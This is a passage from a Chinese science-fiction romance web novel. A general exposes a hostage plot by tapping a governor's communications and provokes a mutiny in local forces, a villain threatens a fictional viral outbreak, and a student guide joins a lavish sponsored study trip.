突然被好友点破，让他有些不好意思，不自在地移开了视线，嘴角却不由自主地扬起了一抹微笑，想了想，还是坦诚地回过头来，对阿克塞尔点了点头，低低“嗯”了一声。 “哈哈哈哈！”看着陆厌离这副从未有过的模样，阿克塞尔猛地爆发出一阵大笑，“还真让你给找到了啊！是在中央星吗？下次回去了带来给我看看啊，我可太好奇了！究竟是个什么样的人，能让你这个家伙死心塌地的，连陆老头的话都不听了。” 一听这话，陆厌离下意识地眉头一皱，看向阿克塞尔：“你要做什么？他是我的向导！” “哈哈！不是吧？看一眼你都吃醋？”阿克塞尔脸上揶揄的笑容更加灿烂，“怎么就宝贝成这样子？” 看到阿克塞尔的表情，陆厌离这才意识到自己有些反应过度了，被他笑得有些窘迫，瞪了他一眼，抿着唇不说话了。 阿克塞尔又调侃了他好几句，才终于收起了笑容：“行了行了，不逗你了。任务的事，你自己千万小心。实在搞不定的话，就喊老子去帮忙。你知道的，上头那帮子老头可管不住我，行了，挂了。” “嗯，谢了，阿克塞尔。” 两人说完，同时切断了通讯。没有了阿克塞尔豪爽的声音，舰舱里重新恢复了之前的平静。 然而，被阿克塞尔这么一打岔，刚才被压抑下去的思念，又如潮水般再次涌上了心头。 陆厌离闭了闭眼向后靠进椅背里，抬手摸索着按上了自己的脖颈。 隔着衣领，指尖轻轻从那个紧紧扣在脖子上的项圈上划过，手指游移着，点在了昨天被江寻抓过的位置。停顿了片刻，他鬼使神差地同样将一根手指挤进了颈圈和脖子之间的缝隙里，用力向外一扯。 微微的窒息感传来，陆厌离只觉得尾椎一激灵，瞬间又回忆起了昨天的场景。 不由自主地吞下一口口水，他把脸庞向上扬了起来，就好像在迎接一个即将要落下的亲吻。 他的嘴唇蠕动起来，口中开始分泌出大量涎液，他似乎已经嗅到了那再次靠近过来的气息。 久久，却一无所得。 刚刚热起来的身体，又重新冷了下去。巨大的空虚与渴望涌上心头，陆厌离急促地喘息了几声，蜷缩起来，手指隔着衣物，紧紧捏住了那块冰冷的铭牌，任由自己被思念吞噬。 江寻，我想你了…… * 经过一夜的航行，第二天一大早，穿梭舰准时降落在了M94星系绿洲星的军部专用空港中。 陆厌离丝毫也没有停留，大步流星地乘上来接他的悬浮车，直接前往了联盟军部驻绿洲星的作战指挥室。 指挥室内光线明亮，但此时的气氛却有些紧张。 早已接到通知的分部最高指挥官一见来人，便脚步匆匆地迎了上来。这是一位看起来四十多岁的女哨兵，一丝不苟的着装显示出了她认真严谨的性格。 走到陆厌离面前，与身后几名随行军官同时停步，脚下一并便是一个标准的军礼：“陆少将，欢迎抵达军部驻绿洲星指挥中心，我是驻地指挥官蕾拉·科斯塔中校，我将全力协助您完成此次任务。” 见来人没有任何寒暄的意思，陆厌离也松了口气，同样回了一礼，便单刀直入直接切入了主题：“你好，蕾拉中校。现在绿洲星这边的实时情况怎么样？相应的封锁隔离措施做好了吗？” “报告少将，现在这里的情况有些棘手。”蕾拉停顿了一下，面色凝重，“几天以前，在确定了此处存在危险性极高的病毒以后，我们就第一时间向上级汇报了这里的情况。同时，依据《联盟重大公共危机应对预案》的要求，马上将情报同步通知了当地治安军，要求当地政府协助我部立即封锁这片区域，防止病毒的再次蔓延，等待联盟上级的后续支援。” “但是……”她看了看陆厌离，目光中带着无奈与愤懑，“绿洲星总督府宣称此次事件属于星球内政，联盟军部不得擅自介入地方事务，拒绝了我们对此次事件的参与。目前，该片区域已经完全由当地治安军接手监管，我方完全无法获知其内部的具体情况。” “而且，由于总督府的强烈抗议，我们后续的大规模部队也被阻挡在了星域之外无法登陆，同时，也无法实施轨道封锁。”蕾拉眉头紧皱，接着补充道，“就我们现有的情报来看，病毒应该还没有大规模扩散开来，绿洲星方面仍然正常开放着空港，没有做出任何必要的警示，存在着很大的病毒传播风险。” “目前我们驻守在绿洲星上的人员有限，调查工作受到的阻力又很大，难以开展。我们正在尝试利用其他渠道调查出当地政府与这个‘创生科技’之间的具体关联，希望能为这次任务找到突破口。” 陆厌离沉默地听着蕾拉的报告，目光快速扫过面前展示的区域俯瞰图，指尖规律地敲击在金属操作台上，思考着下一步行动方案。 “这个‘创生科技’是什么来头？把已知的具体情报告诉我。” “严新雪上尉！”蕾拉果断应声，示意自己身后的技术官。 “是！”那位亦步亦趋地跟在蕾拉身后的女性技术员立刻上前一步，走到陆厌离面前的操作台前。 她带着圆圆的眼镜，看起来年纪不大，只有二十多岁，但看得出技术十分娴熟，操作起控制台来手指翻飞，行云流水，几下就调出了这个“创生科技”的详细资料。 陆厌离抬头看向面前的光屏，上面图文并茂地显示出了非常详细的资料。 创生科技，全名创生生命科学有限公司，是一家主营生物制药的私立公司。于六年前进驻绿洲星，设立药物研发实验室。同年，在当地爆发的一次规模较大的武装叛乱中，派出私人武装协助政府军平叛，并在战后向总督府提供了大量的平价药品支援。以此为契机，与当地政府建立了良好的合作关系。 战后，其负责人凭借着这层关系获得了很多的政府资源倾斜和政策支持，在政府的扶持下快速发展扩张。 之后，更是长期为绿洲星中的诸多政府高层人士提供高端医疗服务，支持加深了双方之间的联系。 同时，这个公司还积极参与慈善活动，为当地高校提供交流、学习名额，为本地培养出了不少的高级医疗人才，与政府各部门合作密切。 总之，从明面上的资料来看，他们只是一家奉公守法，抓住了机遇，与政府合作密切的普通公司，与当地总督府并没有直接关系。 按理来说，只是这样的一家公司的话，发生了如此恶性且威胁巨大的病毒泄露事件，并且已经确定其内部可能还潜藏着更加致命的危机，作为直接受害方的当地政府，本应第一时间与他们撇清关系，比军部更急于清除掉这个隐患才对。 可现在，却态度暧昧，甚至由总督府直接下令，阻扰军部的清除行动，这样的状况明显极为不正常。 其中必有隐情。 陆厌离思考片刻，目光看向站在一旁的技术官严新雪：“技术官，你能不能在不被发现的情况下，监控由总督府发出的所有通讯信号？” 严新雪眼睛骤然一亮，面上露出一抹兴奋的笑容，几乎是脱口而出：“当然！虽然他们的加密等级不低，但以我的技术……” “陆少将！”严新雪的话还没说完，便被面色一变的蕾拉中校打断，“这不符合规定！联盟公约规定，不得干涉成员国内政，我们未经授权便去贸然监听一个联盟成员星球最高行政长官的内部通讯，一旦被发现，一定会引起非常严重的外交纠纷！” 严新雪闻言，兴奋的神色瞬间垮了下来，这个提议她早就向蕾拉长官提起过了，当时便被严厉地斥责了一顿。此时再一次听到，有陆厌离在前，她忍不住不甘心地小声嘟囔了起来：“蕾拉长官，这都什么时候了……一直抱着你的规章制度，我们要等到什么时候才能找到突破口啊，稍微变通一下嘛，也太迂腐了……”未尽的话语终结在蕾拉中校一个严厉的眼神里。 可陆厌离却没有太过在意蕾拉的警告。他从军十余年，执行过的高难度任务不知凡几，自然有一套自己的做事逻辑。 他的目光依然落在严新雪上，继续问道：“严上尉，请认真考虑清楚，给我一个明确的回答。你有没有把握在不被对方的安全系统发现的前提下，监控到由对方终端上发出的所有通讯信号？” 听到陆厌离的问话，严新雪精神一振，真正认真了起来。她没有立刻回答，而是思考了片刻，而后挺直腰板，自信地回答道：“报告长官！只要对方没使用特殊的屏蔽器材，我有九成以上的把握能捕捉到所有发射出去的通讯信号。有十成的把握完全隐蔽，不会被对方的安防系统察觉到任何端倪。” “很好！”陆厌离点头，目光转向脸色难看的蕾拉，语气果断：“我相信严上尉的能力，传我命令，从现在起，实时监控对方总督的通讯信号，如有问题，一切后果由我来承担。” 蕾拉不赞同地张了张嘴想要继续劝阻，可看着陆厌离平静却不容置疑的神情，还是无奈地咽下了想要说的话，叹了口气，行礼领命：“是，陆少将！” 严新雪的脸上瞬间绽放出光彩，看着指挥室在陆厌离的命令下高速运转了起来，兴奋地立即坐到控制台前，双手在面前的键盘上飞快舞动起来，如流水般倾泻而下的数字信号，在她圆圆的眼镜上，映出斑斓的倒影。 十分钟后，她敲下最后一个确定键，面前的光屏在一亮之后完全清空。严新雪抬起头来，向着陆厌离比出一个大拇指，兴奋地说道：“少将！一切准备就绪！信号已切入，监控程序开始运行！” 陆厌离点了点头，转向蕾拉中校：“以我的名义，正式致电绿洲星总督府，就说我要和他们的总督，亲自谈一谈。” * 铃响三声，军部专用的通讯线路被接通。 陆厌离面前一亮，全息投影中，出现了一名略显富态，眼神精明警惕的中年男人，正是绿洲自治领总督本人。 握拳抚胸行了一个标准的军礼，陆厌离直截了当地表明了身份：“总督先生，您好。我是联盟第八军团少将陆厌离。此番受联盟最高智脑委派，前来处理关于‘创生科技’实验室引发的病毒泄露事件。此前我方已经向贵方政府提交了事故威胁等级评估报告。鉴于其对于公共安全的重大威胁，为了避免发生星球级灾难性后果，我方要求绿洲星政府应立即配合军部，对病毒污染区域实施彻底封锁，并授权我方对该高危非法实验室的清除行动。” 陆厌离的身影刚刚在全息投影中出现的时候，这位总督先生还紧皱着眉头一脸强硬，可“陆厌离”这三个字一出，他的脸上立刻闪过一丝惊惧，面上表情更加谨慎了一些，语气也显得客气了不少： “陆少将，久仰威名。但是关于这件事，我方已经强调过很多遍了。‘创生科技’是我们重要的合作伙伴，这里并不存在你们所谓的危险病毒，这次事件也不牵扯公共安全，这完全是我们绿洲星的内部事务，联盟无权干涉。请你们立即停止对绿洲星的一切军事行动，否则，我将就此事，向联盟议会提出正式抗议，并命令我方治安部以非法入侵罪逮捕所有的非法入境者！” 陆厌离深深看了一眼面前这个色厉内荏的中年人，对他口中混淆黑白的说辞丝毫不理，声音冷硬了下来：“经过我方技术人员的评估，该病毒的威胁程度极高，并且因为贵方的阻挠，已经威胁到了星系内整条航线的安全。我此次前来，是希望能以最小的代价解决问题。如果贵方还要继续阻挠下去，那么下一次抵达这里的，可就不是一两个人了。” 陆厌离毫不留情的话语，瞬间令总督脸色涨红了起来：“陆少将，你这是在威胁我吗？你的行为已经公然违反了联盟公约！严重影响到了我方的社会稳定，请你立即停止所有行动，绿洲星政府绝不受任何强权威胁！我会立即向联盟议会检举你的违法行为！”说完，这位总督大人就怒气冲冲地切断了通讯。 通讯的骤然断开，令指挥室内一片寂静，在场的所有低级军官们面面相觑，噤若寒蝉—— 作者有话说：猫猫出征的第一天，想它[爆哭] 第182章 蕾拉中校看向陆厌离， 脸色不太好看，显然对他刚到这里就与当地政府撕破了脸感到不满。但因为军衔的差距，她张了张口， 最后还是没能说出口， 只是长长地叹了一口气。 然而，就在气氛渐渐凝滞下来时， 严新雪却突然兴奋地一声低呼， 飞快操作起了面前的控制面板：“捕捉到信号了！是总督的私人加密线路，目标人物是……‘创生科技’的实验室负责人！” 随着严新雪一番让人眼花缭乱的操作，一段实时音频被转接播放了出来，众人心中一震，纷纷提起了精神，这声音， 正是刚刚才与陆厌离通讯过的总督先生本人！ “……对，陆厌离已经到了， 我也已经按你们说的做了，你们到底什么时候才能放了我女儿？！”那声音沙哑而急促， 能听得出其中的恐惧与焦躁， “……这样最多只能拖延一段时间而已，再这么下去联盟真的会派舰队来的！到时候别说是我的总督府，整个绿洲星都拦不住他们！” “……你们疯了！他可是S级哨兵陆厌离！就算把我手上所有的兵力都搭上去也不一定能伤到他， 你说的事根本不可能！” “……我只能再帮你们拖延一段时间……不行！这么做就算这件事摆平， 我也完了，我不可能答应……好吧，但是我要先见到我女儿！” 接着，音频里传来一阵细微的滋滋音，似乎是对话的另一方接入了其他的画面。过了一会儿， 总督先生的声音再次响起，语气中充满了愤怒。 “……我警告你们！如果你们敢让她受到任何伤害，我拼着一切不要了，也不会放过你们的！” 随即，通讯被重重切断。 而此时，指挥室内，众人在听完这段音频后，也明白了其中的隐情。 “原来如此……他们绑架了总督的独生女，答案居然这么简单。”严新雪恍然大悟，“我记得这位总督的资料上写着，他的发妻很早就死了，就只留下了这么一个宝贝女儿，被他如珠似宝的养大，听说早就被他送了出去，如今在中央星上求学，这个创生科技的人是怎么把她抓住的？” “难怪他的态度这么奇怪，对待我们态度这么强硬却又显得外强中干……”蕾拉中校喃喃自语，但随即，再次皱起了眉头，“可还是不对啊，他们的目的是什么？他们既然靠着劫持人质控制住了总督，为什么不趁着这个机会赶紧转移逃跑？他们明知道自己根本没有和军部正面对抗的实力，为什么还要留在这里按兵不动？” 严新雪也附和道：“对啊，这也太不符合常理了。莫非……他们的病毒实验到了关键的时刻不能走？或者有其他什么原因？” 众人纷纷就“创生科技”的目的猜测了起来，七嘴八舌地讨论，一时间有数个可能性被提了出来。 陆厌离沉默地听着他们的讨论，脑海中再次浮现刚才的对话，再结合接到任务以来的种种异状，一个更加清晰的可能性浮现在他的心中。 他们的目标是自己，这本来就是一个针对自己的陷阱！ 陆厌离的面色沉凝下来，思忖片刻，抬手制止住了众人的议论。 他在所有人的目光下，走到主控台前，看着面前的全息地图上显示出来的实验室周边兵力分布，侧头看向身边的人：“蕾拉中校，联系我们在实验室外围区域监控的侦察兵，报告治安军现在的动向。” “是，将军！”蕾拉闻声立刻通过军部专用加密频道，联系上了一直留守在实验室那边的部下，将最新的视频信息传输了过来。 主屏幕上画面一闪，映出此时的实时景象。 只见原本就驻守在实验室外围的治安军士兵更多了。之前他们还只是以小分队的形式来回巡逻，阻止其他人的进入与窥探。而现在，更多的士兵开始在主要路口与干道上设置路障，在区域边缘拉起警戒线，将内部区域完全封锁了起来。 士兵们也不再巡逻，而是沿着警戒线驻守在据点中，更多的武装部队被调派了过来，甚至有士兵开始将枪口指向军部众人，威胁他们撤退。 “报告！”此时，指挥室一侧的一名通讯兵也转过头来看向陆厌离等人，“将军，绿洲星治安部方面向军部发来正式通告，声称‘创生科技’是绿洲星政府承认的合法企业，此前的事件总督府已派人调查，该区域已由治安部全面封锁接管，军部不得干涉，要求我方马上撤离。” “岂有此理！”蕾拉中校愤怒道，“他这是要为了他女儿一个人的安全，将整个绿洲星上的平民安危都置于不顾！” 严新雪一边飞快敲击着键盘，将变动中的治安军位置实时更新在全息地图上，一边抽空提醒道：“将军，军部上级领导还没有任何指示下达吗？没有军部的支持，如果我们强行与当地的军民产生冲突，那在舆论上我们会处于非常不利的境地。” 陆厌离沉默不语，他心里有些不祥的预感。这一次，军部方面的支援与下一步命令，短时间内恐怕都不会来了。 这背后的操纵者连最高智脑雅典娜的指令都能操控，费了这么大的工夫把他置于这种不利的境地里，怎么可能让军部支援及时到达，轻易放过他？ 只不过……陆厌离皱眉沉吟，以现在的情势来看，就算对方控制着总督府对他们施压，也只能自保，对他并没有什么真正的威胁，无非是会多耗一些时间而已。难道他们只想让自己耗在这里？说不通，对方手里一定还有什么更加致命的底牌。 他看向地图，略一思索，下令道：“蕾拉，加上那些在外围监控的士兵，我们现在能用的行动人员大概有多少？” 蕾拉马上回答道：“将军，我们分部常规驻扎有三支外勤行动小队，满员人数二十四人，现在全员在岗。” “很好！”陆厌离目光扫过全息地图，很快找出了几个布防薄弱地点，依此点过示意，“蕾拉，传令下去，将所有监控小队全部撤回，三支行动小队，分别从这三个位置，对区域内部进行试探性渗透。” 他转过身来，强调道：“动作要快，注意保护自身安全，如若遇到治安军的阻拦就即刻撤退回来，避免与他们产生直接冲突。我们的目的是用快速的行动给对方施加压力，制造出我们急于突破的假象。” “明白！”蕾拉即刻领命转身。 “严上尉，”陆厌离又转头看向女孩，“能突破这些治安军的通讯频道吗？内部频道或者公共频道都可以。” 严新雪自信一笑：“小菜一碟！” “好，你现在就可以准备起来了，等蕾拉中校那边的行动结束，我要用到。”陆厌离对着严新雪点了点头，吩咐道。 “是！将军！”严新雪响亮地回应一声，斗志满满地开始了自己的工作。 接下来的几个小时里，三个行动小队的小规模渗透行动接连展开，又都在突破到一定距离时，被发现的治安军阻拦、驱赶，无功而返。 在第一轮行动过后，陆厌离又根据治安军新的防守位置，安排了三个新的方向，进行第二轮的试探渗透。 两轮试探过后，在视频监控下，能明显看出这些平日里只在星球上处理一些治安案件的本地军队，已经明显有了焦躁情绪，同时也在几次与军部的行动小队交锋后，看出了彼此之间实力上的巨大差距，行动开始畏首畏尾起来。 见此情况，陆厌离趁热打铁，再次为三支小队选择了潜入方向。这一次，治安军的行动速度明显比开始时迟缓了许多，等到军部小队再次毫发无伤地撤退下去，已经有控制不住情绪的治安军队员开始鸣枪示警了。 “可以了，让队员们撤退吧。”陆厌离下令道，“这种程度，那些缩在乌龟壳里的老鼠应该也能看到了吧，我们就再给他们加一把火。” 他转向严新雪，下令道：“把之前突发疫情灭掉了一整个村子的新闻，还有检测出来的病毒样本检测报告，以及联盟公共安全部对于这一次病毒泄露事件的危害等级认定书，发送到这些治安军的通讯频道里面去。特别注明这种病毒是从他们身后的实验室中流出来的，还有病毒的高传染性、短潜伏期以及极高的死亡率。” 严新雪眼睛一亮，摩拳擦掌：“看我的吧，将军！” 这些边缘星球上的本土治安军所使用的通讯方式，不知比联盟落后了多少年，对于严新雪来说，破解起来不费吹灰之力，她早早就准备就绪，只等陆厌离的命令。 这会儿得了指令，十指如飞，很快就完成了任务。 “OK！发送完毕，痕迹清理完毕。”严新雪向着陆厌离比了个大拇指。 陆厌离肯定地点了点头，再次看向实时视频画面。 信息刚发出来，就在治安军内部引发了一阵小型骚动。今天军部突然变得强硬起来的连番攻击，已经让众人的情绪非常紧张了，这会儿再看到他们的内部频道上突然出现了陌生的信息，顿时引起了一阵恐慌。 恐慌过后，才有人被那骇人的标题所吸引，打开信息偷偷摸摸地看了起来。不看不要紧，这一看，更是加剧了众人心中的负面情绪，虽然由于纪律的约束，治安军中的士兵们不敢擅离职守，但几乎所有人都下意识地远离了位于封锁区后方的实验室。同时，嗡嗡嗡的议论声开始在治安军中响了起来，许多人的脸上，已经有抑制不住的恐惧开始蔓延。 陆厌离站在主控屏幕前，看着实时传送回来的画面。 那一圈将实验室围拢在其中的警戒线，正在慢慢开始变得模糊。 这一次，他已经出了手，现在要做的，就是等待，等待着敌人自己掀开最后的底牌。 指挥室中一片寂静，几乎所有人都神情紧张地关注着面前屏幕中的实时情况，随时准备应对实验室方面的下一步动作。 在他们看不到的地方，那份躺在治安军公共频道里的星球级危害等级认定书，如一块砸入水面的巨石，正在把它所造成的涟漪一点一点扩散出去。 起初只是几个士兵间惶恐无措的眼神交流，一切仍然寂静得能听到周围布设的仪器工事嗡嗡的电机运转声。 但很快，众人便在被严新雪接入过来的公共通讯频道里，捕捉到了几道窸窸窣窣的杂音，那是压抑着的剧烈呼吸，与几声几乎听不清的低呼。 指挥室中，一名一直监控着外围态势的士兵转过头看向陆厌离，声音里带着一些不确定：“将军，东侧警戒线附近，似乎发生了一些骚动……这里刚刚补充上来的治安军小队，与原本在这里巡逻的小队之间似乎发生了争执，他们的队形……好像有些乱了。” 陆厌离看向严新雪，一个眼神过去，她立刻会意地将那处监控画面放大在了主屏幕上。 画面上，可以看到一名小队长带领着他手下的几名士兵，正与另外几名持枪警戒的士兵争执着什么，神情激动，说话间，手部动作频频指向内部的实验室方向。虽然他们的声音没有被收录进来，可看着双方激烈的对峙，可以看出冲突已经很明显。 另一位早先就被派到这里值守的小队长，试图与对面的小队长解释，却似乎收效甚微，不仅没有安抚下刚刚前来支援的友军们，甚至连跟在自己身后的士兵们都开始面露狐疑起来。 “西侧也出现了异动。”另一位监控员在此时报告道，“他们布设的防线上，有士兵擅离职守，正在远离实验室方向。” 在众人的目光下，那条刚刚被治安军布设出来的警戒线，正在不稳地颤动。恐慌随着渐渐变大的议论、质问声开始在队伍里蔓延，渐渐地，越来越多的士兵开始对他们正在执行的任务产生了动摇。 说到底，他们虽然是总督手下的士兵，可让他们站在这里，扛着恐惧与压力与联盟军部对峙的勇气，来源于对自己家园的保护，而非对某一两个人的忠诚。 当他们意识到，他们的行为并不是在保护自己的家园，反而还是在将自己的星球拖入一场足以吞噬整个星球的灾难中时，所有人的忠诚都开始动摇了起来。 一双双眼睛中闪烁出怀疑，不由自主地望向被他们用血肉之躯保护在后方的那片冰冷的实验室建筑群。 此刻，那蛰伏在茂密林叶深处沉默不语的钢铁巨兽，似乎正被撕去表面那层伪装得无害的外衣，渐渐露出内里狰狞的真面目。 窸窸窣窣的议论质疑声，开始变得清晰可闻，从被监控的通讯频道中断断续续地传了过来。 “一整个村子都死绝了？这件事是真的吗？” “……本来就很奇怪，为什么突然让我们这么多人来保护一个根本不知道在做什么的实验室！” “是啊，军部驻扎在我们这儿的人，这么多年了一直没惹过乱子，为什么突然就和我们翻脸了？” “他们在研究生化武器？这上面说的病毒是真的吗？” “……你们看这几份检测报告……有愈灵殿的，有联盟公共安全部的，这些难不成都是假的？” “……你们知道军部派了谁来吗？鼎鼎大名的陆厌离陆少将！这件事都严重到让联盟把他都派来了……” “上级在哪里？总督在哪里？为什么不回答我们？他们在隐瞒什么？” “那实验室里到底有什么？为什么不澄清？有什么事怕我们知道吗？！” 来自自家军队的质疑声，如潮水般越来越汹涌，渐渐地，连一些带领部队的小队长都面色难看地冲着通讯器开始吼叫。 严新雪手指翻飞，看准一位神情格外激动的军官，将他手上通讯器中的信号偷偷转接了过来，几声滋啦滋啦的杂音过后，一个雄浑而急躁的声音在指挥室中响起。 “……指挥官，总督到底在哪里？我们需要一个明确的解释！士兵们要求证实关于这个病毒情报的真伪，我们不能……” “闭嘴！”另一个沙哑的声音在他的通讯器中炸开，“难道你们不相信自己的上级，却去相信一份敌人恶意发布出来的，明显是造假的文件？你们是士兵，只需要执行命令！这是来自总督先生的最高指令！马上约束所有士兵，任何趁乱闹事者，按军法处置！” 这位指挥官仍用着以往的态度，试图用强权压制住下面的声音。但在此刻这种群情激奋的情况下，他强硬的威胁不但没能稳住局面，反而暴露出了他的色厉内荏。 岌岌可危的浪潮中，被注入了最后一瓢水。 “去你妈的命令！这件事就是真的对吧？！”治安军的公共频道中猛地爆出了一声怒吼，紧接着，更多的附和声此起彼伏地冒了出来。 “我们冒着巨大的风险，拼上自己的性命不是为了你们！” “我们究竟在保护什么？” “我不想当毁灭绿洲星的帮凶！” “去总督府问个明白！” 随着各处爆出的质疑声，哗变开始了。 指挥室的实时监控画面上，原本井井有条的治安军防线彻底陷入了混乱，快速崩溃起来。 士兵们的枪口纷纷调转，有的冲向了高级将领的方向，有的开始丢下枪械逃离，更多的，则陷入了内部的对峙与不知所措的混乱之中，所有士兵的情绪，在此刻纷纷沸腾了起来。 就在这时，指挥室中的好几个屏幕与绿洲星所有的公共通讯频道上，画面一闪，被强制接入了一个信号源，一个陌生的画面出现在了所有人面前。 画面中是一个布满了各种精密仪器与试管的实验室，一个穿着整整齐齐的白色研究服，面容阴鸷的中年男人出现在了画面中央。 “真是个废物，连这点事都办不好！”他先是语气低沉地骂了一句，显然是已经通过监控看到了此刻外界的混乱情形。随即，抬起头直视着镜头，脸上露出一个混合着傲慢与疯狂的奇异表情。 “陆厌离将军，我知道你在看。”中年男人的声音透过扩音器传遍四方，所到之处，刚刚还在沸腾的人群纷纷面露惊疑地安静了下来。 “没错，这种病毒真实存在，而且就在我这里。”他说着说着，露出一个诡异的微笑，“但你们收到的情报已经过时了！” 他低下头去，从身前的桌子上捻起一个双层隔绝的透明试管，里面的液体呈黑褐色，翻滚着深褐发红的诡异雾气。 “看到了吗？上次不小心泄露出去的那点东西算得了什么？这才是它的最终形态！”他的眼神狂热，看着这小小一管不明试剂，面露兴奋，“稳定的存在状态，可以通过气溶胶传播，潜伏期缩短到了十二个小时，一旦被传染上，致死率……”他猛地扭头凑近，恶意的视线直直戳入所有人的眼帘，“几乎百分百！在它的面前，众生平等！哈哈哈！” “现在，这个星球上所有人的命运都掌握在我的手上。”他脸上浮现出残忍的笑意，“你应该也猜到了吧？陆将军，我的目标就是你。我给你们所有人三天时间，三天之内，我要看到陆厌离的头颅出现在我的实验室里。否则，我将释放这种病毒，让这整个绿洲星……不，是所有经过这颗星球的星际航道上的所有人，一起为他陪葬！” “希望你们能给我一个满意的答复，是死他一个人，还是让整个星球给他陪葬！哈哈哈哈……” 在一片疯狂的大笑声中，画面戛然而止，一闪消失。 而这番宣言引起的巨大恐慌，已经破开这个小小的圈子，在整个国家中蔓延开去。 无数道或明或暗的目光，远的近的，直白的复杂的，通通聚焦在了陆厌离身上。 第183章 中央星， 圣所。 高级研修班的理论课程一贯的艰深而枯燥，一整天的课程下来，江寻忍不住轻吁一口气， 手下轻快地收拾起书本准备回家。 却见讲台上的导师没有立刻宣布下课， 而是抬手敲了敲讲台，将所有人的视线都吸引了过去。 “静一静， 同学们， 有一项临时通知要公布。”看到所有人都安静了下来向他看去，导师笑了笑，继续说道：“圣所最近成功与‘阿卡夏生命集团’达成了友好合作。正值阿卡夏集团旗下最重要的一颗种植星上标志性的产物凝神花，即将迎来五年一次的花期，对方邀请了我们圣所向导学院的全体师生，前往那里进行两天一夜的修学旅行。因为凝神花的花期非常短暂， 所以这次的临时活动明天就需要出发，有意向想要参加的同学， 请在今天晚上九点之前，通过圣所的政务中心系统报名登记。” 眼见台下的学员们开始露出兴奋的神情， 导师同样高兴地补充了一句：“免费的哦！这次的修学旅行全程由阿卡夏集团赞助。” 听到这里， 教室里终于响起一阵压抑的欢呼声。 “我建议大家如果时间上能安排得过来的话，最好都报名去参加。”导师看着座下已经开始议论纷纷的学员们，提高了一些音量提醒道， “凝神花的花瓣本身就是许多种精神补充类药物的主要成分， 它开花时分泌出的香氛也对精神力的增长十分有益。联盟内有实力大规模培育这种珍贵药材的公司屈指可数，这样的机会可是十分难得的。” “另外，大家应该也都知道，阿卡夏旗下拥有多处大型专业药材种植园区，是联盟中很多家顶级医疗机构的长期供应商， 也和许多高级向导保持着长期的友好关系。”导师对着这些心性还比较单纯，大部分没有经历过世情的学员们谆谆善诱，“能在毕业之前就与这种等级的公司建立起良好的关系，同样也是一件对你们未来的发展非常有帮助的事，希望大家能够珍惜这次机会，在学术交流之余，也为自己拓展一些必要的人脉。” 江寻听着台上导师的话语，心中微动。 比起座中其他尚在发展阶段的中低级向导们，他恐怕是在场所有人中，最需要这一次机会的人了。 他刚刚晋升S级不久，尚在探索自己能力的阶段，以后的学习生活中，对于各种稀有药材与资源的需求必定会与日俱增。若是可以早早就与这样的大型原材料供应商搭上关系，在未来一定能为他带来许多帮助。 几乎没有犹豫的，江寻直接打开终端登陆上了政务中心的页面，为自己报了名。 次日，当江寻跟随着众位导师与同窗们，前往核心区前的主要干道上搭乘大型悬浮车时，才意识到这一次的修学旅行究竟有多大的规模。 只见中央的小广场上，几乎挤满了人，接送的车子一趟趟地离开，也丝毫没有见到人群有减少的迹象，反而还从四面八方一直有人流汇入。 待看到人群中明显比他们的年龄小许多的孩子时，江寻终于明白了这里为什么有这么多人。 原来导师口中所说的“整个向导学院的师生”，不仅仅包括他们高级研修班四个年级的全部学员，甚至还有初级基础班八个年级的孩子。再加上一些达到了毕业年限但自己能力不达标，又或是学分不够而滞留下来的往届生，聚集在这里的人群，已经直逼三千人。 所有见到这番景象的学员，无不为阿卡夏这次的大手笔感到惊叹。而这样的惊叹，在众人抵达空港时，达到了顶峰。 江寻望着对接在泊口的那艘从观景窗内都望不到全貌的大型星舰，即便是以他平日里的淡然心性，此时眼底也忍不住掠过了一丝惊讶。 这艘星舰并非寻常的运输舰型号，更像是专用定制的。 他拥有着与寻常的战舰一般模样的银色流线型舰身，舰首侧面，镌刻着阿卡夏集团的藤蔓徽记。外表虽看不到过多的武器装备，但见过军舰的江寻一眼便认出了它下腹部隐藏起来的舱门。这艘舰艇明显拥有着相当的自卫能力。 其他的学员们也为了这艘形制独特的星舰兴奋不已，登舰通道前人头攒动，所有人都兴致勃勃地带着自己行李，呼朋唤友地快步前进着。 将近三千名的向导学员与导师们，从稚气未脱的少年，到头发花白的老师，汇聚成一股喧闹的人流向前涌动着。惊叹声、议论声在这开阔的大厅中不绝于耳。 “哇！好酷的船！我还没坐过这么大的船呢！” “不愧是阿卡夏，这么大的手笔。” “快看那是什么？” 江寻随着人流踏上舰桥，一步步穿过外层的走廊，踏入舰艇内部，眼前顿时一亮。 和外表看到的一样，它内部的空间也十分宽敞。 一层是个巨大的大厅，中庭挑高直通舰顶。站在中央能直接看到两侧悬空的其他几层甲板。乘坐透明的升降梯，上到楼上，便能看到各层甲板上设置的丰富设施。 在等候大厅里面看时还显得非常拥挤的人群，一进入这艘舰艇，便快速稀释了出去分散开来，与友人一起结伴探索起来。 嘈杂的脚步声，兴奋的交谈声与惊呼声交织在一起，在宽敞的大厅里形成嗡嗡嗡的回音。连不少出身优渥的学员们也忍不住对这艘舰艇内部的奢华内饰与配套的设施流露出惊讶之情。 江寻同样也没有乘坐过这种等级的豪华舰艇，同样有些好奇，可他不习惯人太多的地方，在这里也没有什么特别亲密的好友，便独自一人避开了人群密集的地方，沿着一个方向缓步前行参观起来。 一路走过去，除了看到一些舰艇上常见的设施之外，还发现了许多独特的功能性房间，小型影音室、健身房、全息模拟室、按摩厅等等，应有尽有，甚至里面还有一个被打理得郁郁葱葱的模拟生态园。整艘舰艇完全被打造成了一个集吃喝玩乐为一体的豪华星际游轮，令人叹为观止。 不时从身边经过的其他学员们，也都兴致勃勃地议论着这一次修学旅行。 “只是临时使用一下的运输舰，阿卡夏集团就启用了这种规模的豪华星舰……” “这也太大手笔了吧！这要花多少钱啊？” “我们运气真好，入学第一年就遇到这种好事，我听好多学长学姐说，他们上学的时候都没有这样的活动呢！” “连这里都这么豪华，也不知道那个目的地的种植星又是什么样子？” 这样的惊叹声，在他们踏上那颗“种植星”的土地时又攀上了一个新的高度。 与他们预先想象的不一样，这里并不是一个原始朴素的农业星球，而更像是一个被精心打造出来的绿色度假圣地。 所有或寻常、或珍贵的植株，都被精心规划，种植在绵延无尽的田畴之间，整个种植区都被各种精密的智能控制系统所笼罩。 设计清新而现代的建筑群，点缀在植物丛中，所有道路都在中间巨大的商业区中汇合。 商业区最中心，是一座铺满了玻璃幕墙，占地广阔的酒店。围绕着酒店一周，各式餐厅、休闲场馆、购物场所与其他功能性场所错落分布。简直就是一个小型的商业中心，细看内部的装饰结构，却又比普通的商业中心高级得多。 